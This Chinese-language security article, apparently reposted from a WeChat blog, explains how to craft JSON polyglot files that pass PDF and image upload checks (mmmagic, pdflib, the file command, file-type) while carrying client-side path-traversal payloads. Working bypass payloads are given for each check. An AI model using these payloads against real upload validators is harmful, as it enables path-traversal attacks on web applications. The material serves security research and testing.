突破PDF和图像文件上传限制并利用的几种思路

admin 2025年2月8日11:06:03评论14 views字数 5147阅读17分9秒阅读模式
限制条件

在大多数情况下,小工具文件通常使用 JSON.parse 在前端解析。这意味着上传的文件必须是JSON.parse的有效输入。如果查看V8(https://github.com/v8/v8/blob/refs/tags/13.2.67/src/json/json-parser.cc)的实现, 一个有效的JSON输入可以是:字符串、数字、truefalsenull数组对象。解析器会跳过起始的空白字符,例如: ' ''t''r''n'

此外, JSON对象(键或值)中的控制字符和双引号会破坏JSON结构, 必须进行转义。只有严格遵循这些限制条件, 才能被正确解析为JSON。不同的应用程序使用库或工具来验证文件, 这些库或工具旨在检测文件的MIME类型、文件结构或Magic Bytes。通过巧妙的制作符合这些条件的文件, 可以做到欺骗其安全验证并绕过限制。下面的过程将以探索绕过PDF和图像文件上传限制。

绕过PDF检查并上传JSON文件

许多上传机制中的基本检查涉及验证文件的MIME类型。这通常通过检查Content-Type头或文件本身来完成。然而, 这些检查通常可以通过操控文件的结构或文件头来绕过。

(1)绕过mmmagic验证

mmmagic库通常用于Node.js应用程序中, 利用Magic库检测文件类型, 可以使用以下代码验证PDF文件:

async function checkMMMagic(binaryFile) {
    var magic = new Magic(mmm.MAGIC_MIME_TYPE);

    const detectAsync = (binaryFile) => {
        return new Promise((resolve, reject) => {
            magic.detect.call(magic, binaryFile, (error, result) => {
                if (error) {
                    reject(error);
                } else {
                    resolve(result);
                }
            });
        });
    };

    const result = await detectAsync(binaryFile);

    const isValid = (result === 'application/pdf')
    if (!isValid) {
        throw new Error('mmmagic: File is not a PDF : ' + result);
    }
}
该库主要检查%PDF特征字节, 根据PDF文件格式规范, 该特征不需要位于文件的最开头。此处可以在JSON对象的前1024字节内包装一个PDF头, 这将是一个有效的JSON文件, 但库会将其视为一个PDF文件。这给了攻击者一个欺骗的机会, 使其接受JSON文件为一个有效的PDF文件, 同时仍允许浏览器将其解析为JSON, 以下是一个例子:
{ "id" : "../CSPT_PAYLOAD", "%PDF": "1.4" }
只要%PDF头出现在前1024字节内, mmmagic库就会将此文件当作PDF文件接收, 并且它仍然可以在客户端被解析为JSON。
(2).绕过pdflib验证

pdflib库不仅要求文件包含%PDF头部, 还会用来验证整个PDF结构的有效性。

async function checkPdfLib(binaryFile) {
    let pdfDoc = null
    try {
        pdfDoc = await PDFDocument.load(binaryFile);
    } catch (error) {
        throw new Error('pdflib: Not a valid PDF')
    }

    if (pdfDoc.getPageCount() == 0) {
        throw new Error('pdflib: PDF doesn't have a page');
    }
}

为了绕过这一验证,可以创建一个对于 pdflib 来说有效的 PDF 文件,同时仍然符合 CSPT 所需的 JSON 结构。技巧在于将 PDF 对象定义之间的 %0A(换行符)替换为空格 %20。这样,文件可以被 pdflib 识别为有效的 PDF,但仍然可以被解释为 JSON。xref 表不需要修复,因为最终目标不是浏览PDF,而是通过上传验证。

以下是一个例子:

{"_id":"../../../../CSPT?","bypass":"%PDF-1.3 1 0 obj << /Pages 2 0 R /Type /Catalog >> endobj 2 0 obj << /Count 1 /Kids [ 3 0 R ] /Type /Pages >> endobj 3 0 obj << /Contents 4 0 R /MediaBox [ 0 0 200 200 ] /Parent 2 0 R /Resources << /Font << /F1 5 0 R >> >> /Type /Page >> endobj 4 0 obj << /Length 50 >> stream BT /F1 10 Tf 20 100 Td (CSPT) Tj ET endstream endobj 5 0 obj << /Type /Font /Subtype /Type1 /BaseFont /Helvetica >> endobj xref 0 6 0000000000 65535 f 0000000009 00000 n 0000000062 00000 n 0000000133 00000 n 0000000277 00000 n 0000000370 00000 n trailer << /Size 6 /Root 1 0 R >> startxref 447 %%EOF "}
尽管这个 PDF 在近期的 PDF 查看器中无法渲染,但它能被 pdflib 读取,并能通过文件上传检查。
(3).绕过文件命令验证

在某些环境中,file 命令或基于 file 的库被用来检测文件类型。

async function checkFileCommand(binaryFile) {
    const tmpobj = tmp.fileSync();
    fs.writeSync(tmpobj.fd, binaryFile);
    fs.closeSync(tmpobj.fd);
    output = execFileSync('file', ["-b", "--mime-type", tmpobj.name])

    const isValid = (output.toString() === 'application/pdfn')
    if (!isValid) {
        throw new Error(`content - type: File is not a PDF : ${output}`);
    }
    tmpobj.removeCallback();

}
mmmagic 的不同之处在于,file 命令在检查magic字节之前,会尝试将文件解析为 JSON。如果成功,文件会被认为是 JSON,之后就不会执行其他类型检查。因此,不能像在 mmmagic 中一样使用相同的技巧。然而,file 命令有一个已知的文件大小处理限制。下面是 man file 文件中的摘录:
-P, --parameter name=value
             Set various parameter limits.

            Name         Default    Explanation
            bytes        1048576    max number of bytes to read from file
            elf_notes 256        max ELF notes processed
            elf_phnum 2048       max ELF program sections processed
            elf_shnum 32768      max ELF sections processed
            encoding     65536      max number of bytes for encoding evaluation
            indir 50         recursion limit for indirect magic
            name         60         use count limit for name/use magic
            regex 8192       length limit for regex searches

这里可以利用这个限制,通过填充空白字符(如空格或制表符)将文件扩展,直到它超过解析限制。一旦文件超过限制,file_is_json 函数将失败,文件将被分类为其他类型(例如 PDF)。

看一个例子, 这里可以像这样创建一个文件:

{
  "_id": "../../../../CSPT?",
  "bypass": "%PDF-1.3 1 0 obj << /Pages 2 0 R /Type /Catalog >> endobj 2 0 obj << /Count 1 /Kids [ 3 0 R ] /Type /Pages >> endobj 3 0 obj << /Contents 4 0 R /MediaBox [ 0 0 200 200 ] /Parent 2 0 R /Resources << /Font << /F1 5 0 R >> >> /Type /Page >> endobj 4 0 obj << /Length 50 >> stream BT /F1 10 Tf 20 100 Td (CSPT) Tj ET endstream endobj 5 0 obj << /Type /Font /Subtype /Type1 /BaseFont /Helvetica >> endobj xref 0 6 0000000000 65535 f 0000000009 00000 n 0000000062 00000 n 0000000133 00000 n 0000000277 00000 n 0000000370 00000 n trailer << /Size 6 /Root 1 0 R >> startxref 447 %%EOF <..A LOT OF SPACES..> "
}

当上传时,file 命令将无法解析这个大的 JSON 结构,导致它回退到常规的文件检测机制,将文件当作 PDF 处理。

绕过图像上传文件类型限制

图像上传常常使用像 file-type 这样的库来验证文件格式。以下代码试图确保上传的文件是图像:

const checkFileType = async (binary) => {
    const { fileTypeFromBuffer } = await fileType();

    const type = await fileTypeFromBuffer(binary);
    const result = type.mime;

    const isValid = result.startsWith('image/');
    if (!isValid) {
        throw new Error('file-type: File is not an image : ' + result);
    }
};

有时,这些库会在预定义的偏移量处检查特定的magic字节。在这个例子中,file-type 会检查偏移量 8 处是否存在magic节:

https://github.com/sindresorhus/file-type/blob/v19.6.0/core.js#L358C1-L363C1

if (this.checkString('WEBP', {offset: 8})) {
  return {
    ext: 'webp',
    mime: 'image/webp',
  };
}
由于可以控制文件的起始字节,这里可以构造一个有效的 JSON 文件。实施过程中可以构造一个 JSON 对象,将magic字节(WEBP)放置在正确的偏移量,从而让文件通过图像验证,并且仍然是一个有效的 JSON 对象。以下是一个例子:
{"aaa":"WEBP","_id":"../../../../CSPT?"}
该文件会通过 file-type 的图像检查,同时仍然包含可以用于 CSPT 的 JSON 数据。
 

原文始发于微信公众号(二进制空间安全):突破PDF和图像文件上传限制并利用的几种思路

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月8日11:06:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   突破PDF和图像文件上传限制并利用的几种思路https://cn-sec.com/archives/3713776.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息